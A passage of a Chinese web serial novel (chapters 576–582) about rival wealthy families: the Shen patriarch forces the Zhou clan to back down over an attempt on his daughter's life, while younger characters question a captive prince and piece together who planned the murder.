沈庄摇头,轻叹了一声,“等先生到我这个年纪就知道了,权势、金钱都是浮云,比不过一家人整整齐齐。阿娇这些年操持那么一大笔家业也着实辛苦,我早跟她说,女孩子家家不要那么辛苦,她非是不听。现在也算因祸得福,死过一次她也就看开了,手里那几家电力公司和打算出手卖了,不过电力毕竟关乎国本,我跟阿娇商量过了,要是政府打算收购,沈家愿意以低于成本百分之二十的价格出售给政府。” “……” 国债都还不了,哪还有钱买电力公司。 余斯文听得头大,要是真让沈家把国债和电力公司卖了,他一定会成为执政期间国民危机最多的总统,到时候载入史册全是骂名,余斯文想都不敢想,低头擦了擦额头的冷汗。 沈庄才出招,就打得所有人措手不及,刚才还让着不欠沈家的官员们各个闭上了嘴。沈家要再卖一样东西,明天政府官员的工资都会发不出来了。 周国潮脸色铁青,当初政府提出向几大家族贷款发售国债,他们都想着趁机发展海外势力,所以只象征性地投了一点,是沈家举全族之力补齐了所有的漏洞。 沈庄此举意在提醒所有人,当年是沈家托举之情,A国无人能及。 …… 第576章 釜底抽薪 果不其然。 现场众人在立马陷入了沉默,无人再敢质疑。 目睹此情此景的,沈兰晞、沈归灵、沈清予眼底各有不同情绪。 事教人是最好的老师,沈庄这一手让三人眼前一亮,顶级阳谋就是算尽人心,人心依旧归顺。 若老爷子只是一昧替沈娇开脱,众口铄金人心难免不齐。 但他出手就掐住了对方的咽喉,松手之后又带着仁义,恩威并施,让人不得不敬畏。 就好比余斯文,明知沈庄的目的是什么,但为了不在史册遗臭万年只能选择屈服。 他合上木匣,站起身走到沈庄面前双手奉上,“老爷子,对于沈小姐的经历我深表歉意,鲸港治安关乎民生大计,大庭广众之下竟然有人敢擅闯民宅投毒,您放心,这件事政府一定追查到底,务必给沈小姐一个交代。” 周国潮脸色难看至极。 总统代表了政府的立场,有余斯文这句话,哪怕她沈娇在家里开了个毒场沈家照样能洗得干干净净。 更重要的是,沈娇若洗白了,也就变相承认了警署厅的执法程序有问题,一旦归因到了执法失误,周元正现在所承受的所有遭遇都会变成活该。 周家和沈家这场博弈,周家里子面子输的干干净净。 但若是不应…… 周国潮死死攥着手里的盘串,沈庄一旦开始抛售国债,为了维持A国稳定,政府一定会反过来施压周家,到时候说不定还被扣上祸乱国本的罪名。 岂有此理,老狐狸! 苏敬琉看热闹不嫌事大,“周老头儿,你怎么不说话了?实在不行,沈家那三家电力公司周家出钱买下呗,到时候转手送给国家,说不定你死后也能让政府为你降半旗。” “……” 好歹毒的话。 周国潮眼皮子抽搐,连呼吸都沉了几分,“有你什么事?” 苏敬琉乐呵呵,“就是没我的事我才给你出主意,要有我的事,谁还管你?” 几个老权贵斗了一辈子,亦敌亦友,其余人看在眼里识相地没有干预。 姚礼默默看了沈庄一眼,心中暗暗松了一口气。 幸好当初有远见选择了沈家,现在看来,沈家现在显露的底蕴不过是冰山一角。他眸光微转,一一扫过沈家众人,视线落在沈归灵身上时微微停滞了片刻。 沈归灵感觉到打量的目光,抬眸了过来。 姚礼不着痕迹点了点头便收回了目光。 对于这位救了他儿子的沈家少爷,姚礼还是颇有好感。 顾赐丰全程没有说半个字,今天老太太没有来,他故意选了个角落的位置,为得就是避开耳目。 眼见沈庄没有伸手的意思,余斯文咬咬牙,态度更加谦卑,“这件事我会亲自督办,一定给沈娇一个满意的交代。” 沈庄只抛出了国债和电力公司他便束手无策,但其实沈家能拿来做威胁的又何止是这两笔账? 两年前,沈庄出使S国亲自签署了花海计划,为了维持两国的友好往来,光人才输送的建设成本沈家就投资了几百个亿,更不要说沈家操控了A国百分之五十以上的实体经济,如果企业宣布倒闭,全国大半民众将面临失业裁员的危机。 沈庄抬眸,目光在余斯文脸上停留,抬手接过木匣,“既然如此,那就再算算另一笔账。” 余斯文眉心一跳,忽然有种不好的预感,“还有账?” 沈庄将木盒递给郑松,端盏轻抿了一口,一派从容,“刚刚周老不是要算执法程序吗?去,把检察院和未央分署的警员请进来。” 第577章 以杀止杀也是可以的 周国潮额角抽动,沉默了半响转头看向沈庄,“沈老好手段,佩服佩服。” 沈家还真是丧心病狂,为了把沈娇洗干净简直无所不用其极,但这也未免有点太不把其他人放在眼里了。 沈庄淡然自若,丝毫没有因为周国潮的嘲讽有任何不快, 检察厅欧海盛默默看了沈庄一眼,躬着腰往前走了一步,“前天夜里,我们组织部的确收到了未央分局的报备,未免禁品流入市场,组织部连夜监控了未央台所有监控设备,查了整整一夜,这件事未央台安保室的所有安保人员都可以作证。另外,这是我那晚递交的调查报告,这些都可以证明我们没有说谎。” “拿过来给我看看。” 余斯文刚抬手,欧海盛立马双手奉上。 蓦地,他眼底的弧光微缩,沉默片刻侧身将材料递给一旁的周国潮,“周老爷子,您过目。” 周国潮脸色铁青,他根本不相信什么未卜先知,所以他认定这一切都是沈庄搞的鬼,既然是伪证就一定会有纰漏。周国潮一把接过材料,带着挑剔的目光细细横扫。 “这……”他眸光一怔,情绪有些失控。 周元白察觉到了周国潮的异样,凑上前一同查看,片刻后满脸不可置信看着沈庄。 报警人:沈庄。 沈庄抬头,眼里的弧光带着几分肃杀,“两人还有什么要说的?” 周国潮放下资料档案,“你早知道有人要谋杀沈娇,所以你是故意去襄英?” 当然不是。 若他真能未卜先知,他怎么可能将自己的亲生女儿置于险地? 沈娇昏迷期间,老爷子命人彻查了整件事的来龙去脉,恰巧这时未央台那边报告说检察厅和警署分局来了人,顺藤摸瓜,沈庄这才知道原本前夜就有人提前报了警。 检察厅和警署厅的档案记录,报警的是个女生,几乎是一瞬间,老爷子就猜到了报警人的身份,既然猜出了报警人的身份,便也不难揣测其用意。 那一刻,身为一家之主的沈庄是愧疚的,他如今还健在,他的孩子都需要付出如此大的代价才能为自己赢得一点生机,他不敢想象他不在以后,小花儿被困在绝境,不断向周遭求助却被拒绝时该有多绝望。 权衡再三,沈庄第一次破例,动用私权篡改了报警人信息,因为若是让人知道提前报警的是姜花衫,不管基于什么原因,她一定会成为众矢之的。 而最真实的假象是百分之九十九的真相里只掺和一个谎言,既然这个报警人不管是谁都会被人盯上,那就不防让那些鼠辈来找他。 沈庄的眼睑缓缓上挑,这副泰山崩于前而色不变的模样瞬间就让所有人都有相信了这是他的手笔。 “没错。” 听见沈庄应口,在场所有人的表情几乎一致地惊讶,就连沈谦和沈渊都懵了,目瞪口呆看着眼前的老人。 沈庄,“我早就查到近来有人利用阿娇投资的船线走私毒品,为了抓出内鬼我故意在未央台设局,带着一家老小去襄英祭祖也不过是为了混肴视听。至于为何要提前报警,为得就是防止内鬼反扑颠倒黑白。” “原来如此。”余斯文一边附和,一边打量沈家众人。 沈谦、沈渊、沈让明显是一副不知情的模样看不出什么名堂,于是他转眸看向沈家三个小辈,令人意外的事,沈兰晞、沈归灵和沈清予神色淡然地不像话,仿佛是一口不知深浅的黑潭完全捉摸不透。 “所以……”沈庄不急不慢,“在我的计划里,但凡所有突然出现在未央台的人都有可能是与凶手关联的帮凶。” “啪——” 周国潮一把攥紧手串,眸底燃起一簇幽火,他就说沈庄不下无用的棋,说了半天原来是在这等着他! 众人眼神忽然变得微妙,不约而同看向周国潮。 苏敬琉捻着烟丝,笑得意味深长,“这就难怪了!我就说阿娇侄女向来谨慎怎么会轻易被人暗算,现在想来若是有人假借警署厅的人进屋调查,阿娇必不会起疑。” 周国潮眼皮跳了跳,横眉扫向苏敬琉,“你这话什么意思?” 沈归灵思忖片刻,适时开口,“什么意思应该问周老爷子才对。” 周国潮愣了愣,不等他反应,沈兰晞又接话,“我姑姑洁身自好,从不沾毒,周厅长却能从她的屋子里搜出500克禁品,实在让人费解。” “你们……” 沈清予,“费解的岂止是这一点?全城交通瘫痪,总局办公厅距离未央台十万八千里,周厅长却能在接到所谓的群众报案半个小时就赶到未央台,不知道的还以为周厅长也能未卜先知。” 沈归灵,“就算是群众举报,按理也是有当地分管的警署优先办理,分局处理不好再上报总局,周厅长的办案程序却是反着来,不仅总局倾巢而出,还鼓动国防警卫队镇压,就像是……生怕栽赃不了似的。” “……” 周国潮被怼得哑口无言,但又不能自降身份同小辈一般见识,只能他强压着一口气,冷声质问道,“你们一人一句到底想说什么?” 沈归灵和沈清予难得默契十足,不约而同笑了笑端盏喝茶,沈兰晞淡淡开口,“周老爷子还不明白吗?沈家对周厅长的执法程序并不认可,我们合理怀疑谋害小姑姑的凶手就是周元正,现在,请周家给我们一个满意的交待,如若不然,司法局见。” “岂有此理!”周国潮自觉被羞辱,勃然大怒。 沈兰晞眼眉冷淡,“或着,抛开司法,以杀止杀也是可以。” …… 第578章 棋高一筹 沈兰晞是沈家的继承人,以杀止杀这句话从他嘴里说出足以威慑全场。 两个大家族若要内斗,劳民伤财不说,时局必定动荡。 一时间所有人纷纷变了脸色,接头焦耳窃窃私语。 周国潮万万没想到自己有天竟然会被一个小辈威胁,但眼下所有证据都对周家不利,他也不能不考量。 只是他实在想不通,明明是顺风局怎么一下就被扭转成了这样。 南湾高架飙车案还没了结,若是周家再陷入谋杀、贩毒的漩涡,只怕真要伤筋动骨。 周元白看出了父亲的迟疑,脸色缓和看向沈庄,“沈叔,这里面一定有误会,我们两家世交多年,元正一定不会做出这种事。” 沈庄对于沈兰晞三人的临场发挥还算满意,故意装聋作哑,“误会?能有什么误会?不是你们周家嚷着要跟我算账吗?怎么?这账我还算错了?” 周国潮紧紧攥拳。 周元白哪能招架得住沈庄的杀气,勉强笑了笑,转头看向周国潮,“爸……” 周国潮闭了闭眼,起身朝沈庄拱手作揖,“这事怪我没弄明白。当时听说阿正两只腿被打断了一时怒火攻心失了分寸。现在想来,一定是凶手在背后搞鬼,那人可以唆引阿正入局,为得就是让你我两家生出嫌隙他好坐收渔翁之利。阿正那蠢东西受人蒙蔽,以为小侄女当真行为有差所以才过度执法,还请沈老看在我们两家相交多年的份上,饶过他这次。” 周家这是服软了?! 众人表情微妙,看向沈庄的眼神越发恭敬。 沈庄笑了笑,眉眼里的风轻云淡显然是没有把周家的歉意放在眼里。 “饶过他?若不是一再阻挠耽误了救治时间,我的女儿怎么会险些回不来了?更不要说,他还敢叫让国防部持枪威胁恐吓我的两个孙女!” 他晚年后仁慈了许多,许久不曾展露锋芒,但今日刀鞘已出不见血是不可能的。 沈庄抬手,抓着案前的茶盅对着周国潮的脚下砸了过去。 “砰”地一声,白盏碎裂,溅得四分五裂。 “周国潮,你当我死了不成?” 众人吓得纷纷起身避让,就连余斯文都犹豫着不敢上前、 一滴茶水飞溅,正好落在了周国潮的侧脸,他怔忡片刻轻叹了一声,再次拱手,“这件事是阿正思虑不周,我回去之后一定给你一个交代。” 沈庄摆手,“回去就不必了,要交代就现在交代。” 事情已经发展到了这一步,周国潮也没什么好僵持的,“沈老想要什么交代?” 沈庄,“那他两只腿?” 周国潮,“识人不清,断事不明,我还要感谢沈老替我管教了那个蠢货。” 沈庄,“警署厅那日搜查的人证物证?” “既然都是凶手栽赃,自然做不得数。周家对贩毒之事深恶痛绝,一定不会同流合污。” 沈庄面色稍缓,“这些都好说,还有一件事希望周老爷子能督促。” 周国潮攥紧手里的沉香,“沈老请说。” 沈庄,“识人不清,断事不明就说明阿正没有本事能坐稳警署总长的位置,未免他继续祸害无辜,我劝周家还是退位让贤吧?” 第579章 风筝回巢 金秋艳阳,菊园墙角的藤蔓挂满了晶莹剔透的露珠。 “啊~” 姜花衫懒懒打了个哈欠,双手推开院门,无精打采往绣楼走去,“张妈,我要睡觉,待会儿不管谁来了都不见。” 说完她猛地想起张茹早就不在了,她神情恹恹捂着额头,自觉好笑,都已经快两个月了,怎么还没有习惯? “小姐,要不吃点东西再睡吧?我做了您最爱的淮城糖水。” 姜花衫脚步停顿,回过头便看见一道熟悉的身影从厨房走了出来。 “张……妈?”她有些恍惚。 张茹一如往常般笑脸相迎,“小姐,我回来了。” 姜花衫眉头微蹙,如宝石般璀璨的眸光满是困惑,她站在原地没有动,静静看着张茹没有任何反应。 “老爷子说,沈园的事情已经解除了,我可以回来了。” 张茹紧紧拽着腰间的围裙,笑容里略带着一丝小心翼翼,“小姐,我去外面转了一圈,但我发现我最想要的生活在菊园。” 秋风拂过,满院鲜花在枝头乱颤。 张茹努力维持面上的平静,声音颤抖不止,“小姐,您可不可以不要再让我走了?我去外面的世界看过了,回到这里是我自己的选择。” 她陪伴姜花衫五载,她的小姐有多少本事她还能不清楚? 沈执也好,老爷子也罢,他们都不能决定她的去留,所以,她离开沈园的那天心里其实明明白白,真正要放她自由的是小姐。 但小姐不懂,风筝是因为有人牵着才能越飞越高,绳索对别人来说是枷锁,但对风筝不是。 而她,就是那只风筝。 “……” 姜花衫脑海里的画面如走马灯般一一闪过,片刻后,她若无其事转过目光,“那……端上来吧,我还想吃红烧狮子头。” 张茹喜不自禁,忙不迭点头,“有!我最近新学了不少菜品,晚上做给你吃?” “好。”姜花衫点头,双手托腮,“她们做的饭菜都不合我的胃口,我都瘦了。” 张茹看着眼前红光满面的小脸,满脸心疼,“可不是吗?脸都小了一圈,没事!我去研究几个菜谱给你补补。” 不消片刻,厨房里传来乒乒乓乓的响声,风筝回巢,菊园的花香有了岁月静好的烟火气。 廊架下,怡然自得的小可怜伸出头左右看了看,又继续闭目养神。 * “绥尔?人都走了你还要看多久啊?” 傅绥尔脖子上挂着望远镜,直接把假山当成了瞭望台,侦查完所有人准备撤退时,目光一扫,忽然看到了一个新奇玩意儿。 她眼眸微转,几步跳下假山,“人都走了,看周家老头子的脸色,爷爷应该教训地很狠。” 沈眠枝,“三伯英年早逝一直是爷爷心里的一根刺,这些年爷爷修身养性也不过是想为我们积些福报,但这次姑姑险些丧命,爷爷一定会动用雷霆手段。A国虽是各大财阀鼎立,但沈家要真发怒,他们未必能抵抗。” “说的对。”傅绥尔点头附和,边说边跑,“那个,枝枝,我突然想起还有件重要的事要处理,就先不跟你说了,晚上我们回菊园小聚再聊。” 沈眠枝朝她招了招手,目光随意望向假山。 到底在上面看见了什么?竟然连衫衫的事都不追问了。 * 秋园。 “有没有人啊?给点吃的吧?” 白密有气无力躺在凉亭的竹椅上,双眼无神望着头顶的珐琅彩绘。 沈家人不知道干什么去了,从昨天到今天一口吃的都不给,早知道就不吐槽烙饼难吃了,现在别说饼了,就是连一口水都没有了。 “好歹毒的沈家人。” “你叽里咕噜念叨什么呢?” 突然,一层不变的彩绘漆图里闯进一张颜色鲜活的面孔,白密微愣,蹭得一下从坐椅上跳了起来。 “你……你怎么会在这里?” 傅绥尔双手抱胸,上下审视眼前的白毛,“这话该我问你才对,这里是我家,你为什么会在这?” 白密正要回答,忽然想起这死丫头之前审讯的时候还打过他。 他冷笑了一声,大摇大摆坐回竹椅,“连我为什么会在这都不知道,看来你在你们家族里也没什么地位。” 傅绥尔皱眉,抬脚对着白密的小腿踹了过去,“都死到临头了,竟然还敢挑拨离间。” “你敢踹我?!”白密抱着他尊贵的小腿,一脸诧异。 傅绥尔被他逗笑了,“这里是我家,踹了就踹了,你一个阶下囚还敢跟我甩脸子?”说罢,抬腿又踹。 白密早防着她,抱着膝盖跳了起来,“傅耳朵,你别以为这里是沈家我就不敢对你怎么样!” “什么耳朵?我叫傅绥尔!”傅绥尔无语,堂堂S国王子不仅脸盲,连智力都堪忧,简直要笑掉人大牙。 白密完全听不进,一把揪住她的衣襟,“我管你叫什么?你来的正好,带我出去。否则我弄死…… 话说到一半,他声音顿住,低头便看见冰冷枪支正抵着他的下腹。 “……” 傅绥尔随意戳了戳硬邦邦的肌肉,“你刚刚说要弄死谁?” 白密被气笑了,懒洋洋松开指尖,“小朋友,你会开枪吗?” 傅绥尔感觉自己被冒犯了,单手上膛,冰冷的枪械沿着白密的下腹瞬移到了眉心。 “军政学院新生十米射击积分榜第一,你说呢?” “……”白密眼皮抽搐,徒手握住枪支,“说吧,你找我想知道什么?” 傅绥尔,“你之前为什么会出现在度假山庄?你的目标是衫衫,但你根本不认识她,是有人引你过去的?” 白密看了她一眼,“没错,有人给我寄了封匿名信,告诉我白峥就是死在姜花衫之手的,所以我才盯上了她。” 傅绥尔,“信呢?” “丢了。” “丢了!”傅绥尔拔高音量,“丢哪去了?!” “……”白密摸了摸耳朵,一脸无语,“你嚷什么?那信上的字都是从报纸上剪下来的,除此之外没有任何线索,不丢难不成留着给人抓我的把柄?” 傅绥尔颇有不满,“那你知不知道是谁的手笔。” 白密扯着嘴角笑了笑,“知道呀……” …… 第580章 猎人与猎物 这欠扁的样子…… 傅绥尔斜着眼睛打量他,“又想耍什么花样?” “啧啧……”白密抬手拂开枪支,朝她勾了勾手指,“不耍花样,真知道。” 傅绥尔眯了眯眼,权衡片刻往前走了一步,凑上耳朵,“那你快说。” 白密愣了愣,眼里的戏谑忽然被按下了暂停键,这小傻子靠得很近,侧耳时露出纤细脆弱的脖颈,他甚至能清楚看见颈侧动脉的跳动。 “……” 沈家好歹是权谋大户,怎么教出来这么个傻白甜,她知不知道,他要是心思坏点,刚刚就可以拧断她的脖子了。 白密不可察觉皱了皱眉,往后退了一步,“你又没耳聋,靠这么近做什么?” 傅绥尔瞬间黑脸,举枪点着他的额头,“你说不说?!” “……” 举枪的动作全是破绽,就这水平还是狙击组第一,军政学府的考核什么时候这么水了? “喂!你说不……” 白密偏了偏头,一脸懒散,“沈渊。” “我就问你,你说……”傅绥尔愣了愣,慢了半拍才反应过来,“沈……渊?” “昂。”白密,“你们沈家人还真是有趣,杀一个养女还要绕这么大的圈子。” 傅绥尔万万没想到白密会交待的这么爽快,心中不免有些迟疑,“你刚刚不是还说匿名信里没有线索吗,现在又怎么知道是沈渊了?” 白密乜傅绥尔一眼,“匿名信没有我就不能查吗?有人想借我的手除掉姜花衫,我总得知道是谁再决定要不要入局。” “你竟然还有这种脑子?”傅绥尔一脸惊讶,在她心中白密属于眼盲心盲脑子更盲。 “……” 傅绥尔看了他一眼,“那,除了这些你还有没有什么别的情报?” 白密被她这理直气壮的模样气笑了,“你来这进货的?” 傅绥尔顿时黑脸,转身就走,走到院门口时忽然想到什么,回身朝他喊了一声,“喂!傻蛋!” “……”白密皱眉,刚抬眸便看见傅绥尔抬手对着他扣下扳机。 “biU——” 一条冲击力十足的水线正中眉心,滋了他一脸。 “哈哈哈哈哈……” 傅绥尔捧腹大笑,一脸得意朝他抬了抬下巴,“就你这脑子还是王室,你们S国的也太好混了。” 白密偏了偏头,眉眼轻抬,面无表情看着她。 傅绥尔学着他的模样歪了歪头,耸肩摊手,“哎~你说的对,我就是沈家最没有地位的,但就算再怎么没地位,我外公也绝不会把我留在异国不管不问。” 说完,她挑衅扬眉,大摇大摆出了秋园。 “……”白密抬手扫了扫眉间的清水,若无其事躺回了竹椅。 * “切!装逼大侠,有什么了不起的。” 傅绥尔心情大好,一路把玩着手里的水枪,路过中庭的时候正好看见沈兰晞从廊下过来,她盯着手里的枪看了三秒,悄悄绕了半圈埋伏在植被里,等到沈兰晞和高止下回廊,傅绥尔出其不意从草丛里跳了出来。 “不许动!” 沈兰晞停下脚步,眉眼清冷看着她。 高止原本想假装中枪,但一想到自己高冷的人设,故意往后退了一步。 这一刻,姜花衫强调的情绪价值的含金量都在上升,傅绥尔十分败兴从草丛里走了出来,“兰晞哥,你们怎么一点反应都没有?” 沈兰晞,“你从秋园出来的时候我就已经看见你了,你怎么会在这?” 秋园里关着谁沈兰晞是知道的,傅绥尔从里面出来,说明她已经见过白密了。 傅绥尔心知瞒不过沈兰晞,轻咳了一声,“我……凑巧发现白密在秋园,一时好奇就来看看。” “外面的守卫呢?” “被……被我忽悠走了。”她略有些心虚,偷偷打量了沈兰晞一眼,见他没什么情绪又壮着胆子试探,“兰晞哥,白傻蛋怎么会被关在秋园?他是不是又想打衫衫的主意?” 沈兰晞,“白密远没有看上去那么简单,爷爷把他关在秋园自有用意,你离他远点。” “……哦。”傅绥尔撇了撇嘴。 三个兄长里面,她对沈归灵和沈清予是喜欢,但唯独沈兰晞除了喜欢之外还有一丝崇拜,她小时候就喜欢追在沈兰晞屁股后面跑,现在长大了那份孩童时的追逐也还是没有少。 沈兰晞嗯了一声,抬步越过她下台阶。 傅绥尔回头,眼看着沈兰晞头也不回穿过垂花门,恶从胆边生,拿着手枪对着他的背影biU了一枪。 “凶什么?回去我就跟衫衫说,看你能不能招架?!” 水枪的射程足有十米,划过一道优美的弧线打得路边的铃兰左摇右摆。 傅绥尔转身,提着裙摆正要小跳,忽然想到什么,清澈的眸底闪过一抹逆光。 兰晞哥一点反应都没有,除了因为已经提前看见了她之外,但最重要的还是兰晞哥早就知道她手里的枪是玩具,可……白密为什么一点反应都没有? 她当时对着他举枪的时,他完全没有躲的动作,就好像根本不担心自己会被打中一样。 傅绥尔垂眸,不动声色看着手里的水枪。 她和白密交锋的过程中,他曾不止一次用手掸开枪支,难道那个时候他就在试探? 如果,他在试探她,那他说的话还能当真吗? * “自然是不能当真了。” 姜花衫咬下最后一个狮子头,摸了摸肚子,心满意足躺回沙发。 傅绥尔咬了一口松茸,从碗里抬起头,眉头倒竖,“那盲蛋果然在骗我?!”刚说完,又笑着称赞,“还是张妈做饭好吃,我肚子都快吃撑了。” 沈眠枝慢条斯理夹了一块鱼肉。 姜花衫摇了摇头,手掌有一圈没一圈摸着肚子。 傅绥尔搁下碗筷,回头看了看窗边的月色,又回头看着姜花衫,“你想什么呢?” 知道姜花衫这几天累坏了,她和沈眠枝特意等到晚上来菊园,趁着晚餐的空隙,她挑着重点把在秋园发生的事说了一遍,原以为姜花衫会有别的看法,没想到她只单说了结论就不说了。 傅绥尔忽然想起中午沈眠枝在假山下说的话,犹豫片刻,试探问道,“衫衫,你是不是已经知道是谁是凶手了?” …… 第581章 窥见冰山一角的真相 姜花衫指尖一顿,低垂的重睫缓缓上挑。 她的确已经猜到了。 当时写了那么多脑洞测试,唯有沈亦泽和沈亦杰的剧情被留在了结尾,这一章原本设定是沈娇之死,也就是说所有能在这一章出现的人名一定和沈娇之死的剧情有关。 当时和她交锋的正好是两个人,那两人不论是体型还是身高几乎都没有差别,天底下哪有这么凑巧的事,所以她几乎可以笃定作案凶手就是沈亦杰和沈亦泽。 这两人敢亲自下手,说明他们早就备好了万全之策,要不是她中途搅局,结局就会如上一世一样。所以,她怀疑这对双生子只是执行者,这背后还有一个谋划者。 执行者她已经找出来了,眼下还不急着处理,目前最重要的是把背后那句布局的找出来。 一开始,她怀疑是沈澈,但傅绥尔说出秋园经历后,她立马又打消了这个想法。 因为她忽然又想起了度假山庄的暗杀事件。 那一晚,针对沈家的暗杀就有四拨人马,若这是剧目惯用的手段,那针对的沈娇的死局或许就不是一层那么简单了。有过前几次的前车之鉴,她的脑洞也逐渐放大,在经过千锤百炼次侧写之后,她想到了一个最有可能又符合逻辑的“真相”。 沈澈和沈家双生子或许不是一伙的,只不过他们因为某种原因恰好都要取沈娇的命。真正和沈澈合作的是周元正,这也正好解释了为什么周元正会突然出现在未央台,为什么他能搜出500克违禁品,为什么客厅会出现这么多男模。 而沈亦泽和沈亦杰是另外一批,他们更加果决,直接下毒拿命。 至于沈谦和沈渊,这两人根本写不进剧情里,说明他们并非谋害沈娇的策划者,这两人的作用属于补刀,眼见沈娇命在旦夕趁机索命。 上一世,沈娇就是被这三道连环杀杀得身败名裂。 不过,这一切都是她的猜想,要想确认她还需要一些佐证。 “衫衫?”傅绥尔等了片刻,姜花衫依旧只字不提,她立马笑了笑。转头看向沈眠枝,“枝枝,你猜是谁?” 姜花衫哪能看不出她的小心思,撑着沙发坐了起来,“知道一点,但我需要一点时间。” 沈亦杰和沈亦泽的身体是她利用剧目之力作弊诈出来的,也就是说,这条线属于隐藏剧情,如果她这个时候把暗线告诉傅绥尔和沈眠枝,难保剧目不会为了板正剧情对她们做出什么? 所以,为了安全起见,以后她和傅绥尔、沈眠枝之间的合作只能靠默契和引导。但即便这样,姜花衫也丝毫不担心,就好比这次,她只是给了沈眠枝一个信息,她就超额完成了任务。 傅绥尔并未纠结,点了点头,“嗯,我都听你的。” 沈眠枝想了想,“我总觉得周元正有点问题,爷爷应该也是看出了他不干净,要不然也不会废了他警署厅长的位置。” 姜花衫点了点头,心中暗道:岂止是爷爷知道,周家老爷子也不糊涂,周家能走到今天,周国潮也不是省油的灯。他能同意爷爷废了周元正的位置,一定也是察觉到了什么所以才退而求其次,如若不然,周家也不会这么干脆。 她想了想,“枝枝,你和周家……” 沈眠枝眸光淡了几分,“闹成这样,应该是谈不成了。” 傅绥尔摆摆手,“谈不成就谈不成,周宴珩那家伙金絮其外败絮其中,还不如妙妙的哥哥。”说着,她忽然眼前一亮,“枝枝,你觉得苏灼怎么样啊?” 沈眠枝哭笑不得,“我倒没有那么恨嫁。” 傅绥尔这才意识到自己有些冒失,微微有些不好意思,“我不知这个意思,我就是觉得周宴珩那个坏胚配不上你。” “我知道。”沈眠枝并未计较,转头看向姜花衫,“我觉得白密不会无缘无故说出二伯的名字,想知道他有什么目的,还是得弄清楚他为什么会被关在沈园。” 说罢,两人目光灼灼,目不转睛看着姜花衫。 “……”姜花衫嘴角抽了抽,“都看着我做什么?我又不是天上星星,哪能什么都知道。” 沈眠枝笑了笑,“星星不知道就去问月亮。” “月亮?” 傅绥尔点头,“对,你去问兰晞哥,你问他保管说,兰晞哥拿你最没办法了。” “……是吗?”姜花衫一脸怀疑,她怎么没感觉? 两人重重点头,“是的。” 姜花衫扶额,“行吧,明天试试。” * “阿嚏……” 沈兰晞莫名打了个喷嚏,高止见状立马抱着一床棉被替他盖上。 “少爷,夜里转寒,您多注意身体,多喝热水。” 沈兰晞看着高止搁在案几上加冰的可乐,面无表情扯下棉被,“出去。” 高止蛐蛐了一声,一手拿着可乐,一手扛着棉被跑了出去。 沈兰晞继续看着手机里的视频。 画面里的女孩站在浓烟滚滚的车顶,眸光比脚下的火焰还耀眼。 沈兰晞看了很认真,手指点着屏幕逐帧放大。 到底为什么她每次都能精准出现在所有事情的关键点,就好像可以……未卜先知一样? 她好像也知道家里几个叔伯狼子野心,所以才拼了命等着他来。 沈兰晞的心绪不觉又被牵动,她等着他,起码在那一刻她全心全意信赖她,但是为什么……为什么回来以后又那么冷淡? “咚咚——” 门外的敲门打断了他的思绪,高止头顶着一床棉被走了进来。 “少爷,您要的资料。” 沈兰晞一言不发看着他。 高止知道他洁癖的臭毛病,笑着擦了擦手心的汗,“我刚出去信就送来了,这不,被子都没来得及放。” 沈兰晞接过信件,“出去。” “……”高止白了他一眼,顶着棉被走了出去。 沈兰晞皱眉,忍着恶心揭开密封火漆取出里面的信件,片刻后,他眼里的情绪忽然都沉入了眸底。 报警人:姜花衫。 …… 第582章 我还没开始玩 周公馆。 “怎么样?老爷子还是不吃?”周元白提着食盒入厅,周太太立马上前询问。 周国潮从回来后就把自己关在房间里谁也不见,现在连晚饭都没出来吃,这在以前从未有过。 周元白摇头,抬眸看向沙发上的周宴珩,“阿珩,你去劝劝爷爷。” 周宴珩起身,从周太太手里接过食盒,周太太不放心,拉着他细细叮嘱,“老爷子最疼你了,你记得多说几句好话哄哄他。” 周元白轻叹了一声,目色凝重坐回沙发。 周太太跟着上前,“你怎么也唉声叹气的?去了一趟沈家你们怎么都变了副模样?” 周元白摆摆手,权势的事他向来不对妻子说。 周太太知道丈夫的习性,不免有些幽怨,“你就是不说我也知道一定是出了大事,老爷子什么时候这样过?” “大哥!大哥!!” 正说着,厅外传来嘈杂的动静,没一会儿,周元正坐着轮椅被管家推了进来。 两人大为吃惊,连忙站起身。 周太太看了丈夫一眼,快步上前,“好好的不在医院休养,怎么跑回来了?” 周元正一脸急迫看着周元白,“大哥,为什么我会收到解雇函?你和爸今天是不是去了沈家?是不是沈家人搞得鬼?” 周元白一时不知该怎么解释,冷着脸,“你先养伤,等养好了伤再说。” 官职都没有了还养什么伤? 周元正原本以为是沈家瞒着周家在背后搞鬼,但看周元白的反应似乎是知情的,他一时难以接受,又惊又怒,“到底是怎么回事?!大哥,出这么大的事你们好歹先知会我一声吧?!” “知会你?你作死的时候怎么不提前知会家里一声啊?” 话落,厅里的人瞬间变了脸色,转头看向门外。 但见周国潮冷着脸,由着周宴珩搀扶慢慢走进主厅,路过周元正时,老家主一双深邃的黑眸晦暗不明。 周元正不禁打了个冷战,“爸。” 周元白见老爷子气色不错,说话中气十足不免松了口气,快步上前搀扶,“爸。” 周国潮一把拂开长子的手,径直走向主位。 周元正略有些畏惧,但一想起自己半生积累毁于一旦又心有不甘,“爸,沈庄打断我的腿,现在又赶我下台,他分明是没把您放在眼里。” “蠢东西!”周国潮冷笑,“都这个节骨眼了还想着挑事生非?” 周元正完全没料到周国潮是这种反应,猝不及防,“爸,我……” 周国潮抬手制止,收敛着脾气看向周太太,周太太会意点了点头,转身出了出厅。 待人走后,周国潮彻底撕破脸,塌陷的眼皮呈凶横之势,大声怒斥道:“你还敢跟我打马虎眼?我真是小看你了,竟然勾结外人给沈家做局,你也不看看你是什么脑子?你以为就凭你那点三脚猫的手段能瞒得过沈庄?” 周元白手掌握拳,额头上的冷汗密布。 周国潮见状,抄起案几上的饰品对着他砸了过去,“还不从实招来?” “砰——” 瓷器的爆破瞬间瓦解了周元正的心防,他脸色发白,不顾膝盖的伤扑通跪倒在地,“爸,您听我解释,我……我……” “我什么?”周国潮满脸失望,“就算我给你机会,你解释得清吗?” 周元正神情挫败,“爸,我也不知道事情怎么会变成这样,我……我……只是想入国会,我没想到……没想到……” 周元白满脸愁容闭了闭眼,没想到还真被沈家说中了,这件事真的和周家有关。 周元正心知是瞒不过了,只能如实相告,“我挪用了警署厅的建设款放在沈澈那投资,但沈娇不知道什么原因忽然和沈澈闹翻了说要撤资,导致我那笔账血本无归,下个月财政就要查账了,我担心账目对不上找沈澈理论,沈澈便提出了暗杀沈娇的计划。” 短短的几句话里全是雷点,周国潮隐忍着脾气,一言不发。 